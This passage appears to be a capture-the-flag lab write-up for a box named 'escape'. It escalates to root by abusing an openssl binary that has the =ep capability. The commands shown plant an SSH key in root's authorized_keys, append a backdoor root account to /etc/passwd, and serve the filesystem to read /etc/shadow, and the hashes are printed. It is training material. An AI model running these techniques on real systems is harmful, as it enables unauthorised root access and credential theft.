openssl ep
capability
As discovered previously, the /opt/cert/openssl
binary has the ep
capability set to it.
tom@escape:/opt/cert$ ll
total 724K
4.0K drwxr-xr-x 2 root root 4.0K Dec 9 2020 .
708K -rwxr-x--- 1 tom tom 707K Dec 9 2020 openssl
4.0K drwxr-xr-x 4 root root 4.0K Dec 9 2020 ..
4.0K -rwx------ 1 root root 1.3K Dec 9 2020 certificate.pem
4.0K -rwx------ 1 root root 1.7K Dec 9 2020 key.pem
Checking the directory reveals 2 PEM files alongside the openssl
binary
tom@escape:/opt/cert$ which openssl
/usr/bin/openssl
tom@escape:/opt/cert$ openssl version
OpenSSL 1.1.1 11 Sep 2018
tom@escape:/opt/cert$ ./openssl version
OpenSSL 1.1.1 11 Sep 2018
tom@escape:/opt/cert$ diff /usr/bin/openssl ./openssl
tom@escape:/$ getcap -r /usr/bin/openssl
tom@escape:/$ getcap -r /opt/cert/openssl
/opt/cert/openssl =ep
While /usr/bin/openssl
and /opt/cert/openssl
are identical programs, only the /opt/cert/openssl
binary has the ep
capability set, making it essentially a SUID binary despite that the binary itself doesn’t even have the SUID bit set
Exploitation (SSH Key)
tom@escape:/$ LFILE=/root/.ssh/authorized_keys
tom@escape:/$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali' | /opt/cert/openssl enc -out "$LFILE"
Writing Kali’s public SSH key into the /root/.ssh/authorized_keys
file
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/escape_offsec]
└─$ ssh root@$IP
Enter passphrase for key '/home/kali/.ssh/id_ed25519':
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-124-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
14 packages can be updated.
10 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@escape:~# whoami
root
root@escape:~# hostname
escape
root@escape:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:7e:d3:9c:0e brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:7eff:fed3:9c0e/64 scope link
valid_lft forever preferred_lft forever
5: vethe544e37@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether 92:34:d7:75:cf:89 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::9034:d7ff:fe75:cf89/64 scope link
valid_lft forever preferred_lft forever
6: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:9e:76:59 brd ff:ff:ff:ff:ff:ff
inet 192.168.122.113/24 brd 192.168.122.255 scope global ens192
valid_lft forever preferred_lft forever
System level compromise
Exploitation (Overwriting /etc/passwd
)
tom@escape:/var/tmp$ cp /etc/passwd ./passwd
First, copying the /etc/passwd
file
tom@escape:/var/tmp$ openssl passwd qwe123
Q./uv2EaSjjHw
tom@escape:/var/tmp$ echo -n 'r00t:Q./uv2EaSjjHw:0:0:root:/root:/bin/bash' >> ./passwd
Then appended a new root account to the copied psswd
file
tom@escape:/$ LFILE=/etc/passwd
tom@escape:/var/tmp$ cat ./passwd | /opt/cert/openssl enc -out "$LFILE"
Overwriting the copied passwd
file to the /etc/passwd
file
tom@escape:/var/tmp$ su r00t
Password:
root@escape:/var/tmp# whoami
root
root@escape:/var/tmp# hostname
escape
root@escape:/var/tmp# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:7e:d3:9c:0e brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:7eff:fed3:9c0e/64 scope link
valid_lft forever preferred_lft forever
5: vethe544e37@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether 92:34:d7:75:cf:89 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::9034:d7ff:fe75:cf89/64 scope link
valid_lft forever preferred_lft forever
6: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:9e:76:59 brd ff:ff:ff:ff:ff:ff
inet 192.168.122.113/24 brd 192.168.122.255 scope global ens192
valid_lft forever preferred_lft forever
System level compromise
Exploitation (Read)
Although there already is a SSL key pair supposedly created by the
root
account, the process could not be identified.
Thus, I’ll be creating a new pair
tom@escape:/opt/cert$ /opt/cert/openssl req -x509 -newkey rsa:2048 -keyout ./private.pem -out ./public.pem -days 365 -nodes
Can't load /home/tom/.rnd into RNG
139996489613760:error:2406F079:random number generator:RAND_load_file:Cannot open file:../crypto/rand/randfile.c:88:Filename=/home/tom/.rnd
Generating a RSA private key
...................................+++++
.................................+++++
writing new private key to './private.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
tom@escape:/opt/cert$ ll
total 732K
4.0K drwxr-xr-x 2 root root 4.0K Mar 6 13:53 .
4.0K -rw-rw-r-- 1 tom tom 1.3K Mar 6 13:53 public.pem
4.0K -rw------- 1 tom tom 1.7K Mar 6 13:52 private.pem
708K -rwxr-x--- 1 tom tom 707K Dec 9 2020 openssl
4.0K drwxr-xr-x 4 root root 4.0K Dec 9 2020 ..
4.0K -rwx------ 1 root root 1.3K Dec 9 2020 certificate.pem
4.0K -rwx------ 1 root root 1.7K Dec 9 2020 key.pem
Since the binary has the ep
capability set, the key pair creation will be done as the root
account
tom@escape:/opt/cert$ cd /; /opt/cert/openssl s_server -key /opt/cert/private.pem -cert /opt/cert/public.pem -port 1337 -HTTP
Using default temp DH parameters
ACCEPT
Then starting a web server at the system root directory
Debian-snmp@escape:/var/tmp$ curl -k "https://127.0.0.1:1337/etc/shadow"
root:$6$2dR6T6Tj$0wSNFsX6592.xq742oq1SxqjowweDrDgg5OexLM6vgkguLc.TnrH7QKeTA9LlckzcahNRiui0aSHcvSMkKcbh/:18617:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::
man:*:17647:0:99999:7:::
lp:*:17647:0:99999:7:::
mail:*:17647:0:99999:7:::
news:*:17647:0:99999:7:::
uucp:*:17647:0:99999:7:::
proxy:*:17647:0:99999:7:::
www-data:*:17647:0:99999:7:::
backup:*:17647:0:99999:7:::
list:*:17647:0:99999:7:::
irc:*:17647:0:99999:7:::
gnats:*:17647:0:99999:7:::
nobody:*:17647:0:99999:7:::
systemd-network:*:17647:0:99999:7:::
systemd-resolve:*:17647:0:99999:7:::
syslog:*:17647:0:99999:7:::
messagebus:*:17647:0:99999:7:::
_apt:*:17647:0:99999:7:::
lxd:*:18571:0:99999:7:::
uuidd:*:18571:0:99999:7:::
dnsmasq:*:18571:0:99999:7:::
landscape:*:18571:0:99999:7:::
sshd:*:18571:0:99999:7:::
pollinate:*:18571:0:99999:7:::
Debian-snmp:!:18605:0:99999:7:::
tom:$6$NQe6eQjI$yDV7Ae5fiktJIBu.lIrZZluL.L5NKHR10nfDD79VEhXj75jGtQ7YHissLLkKwW9UEcbqL9SAEOfuYco2dF9ih/:18617:0:99999:7:::
I can now read any file on the target system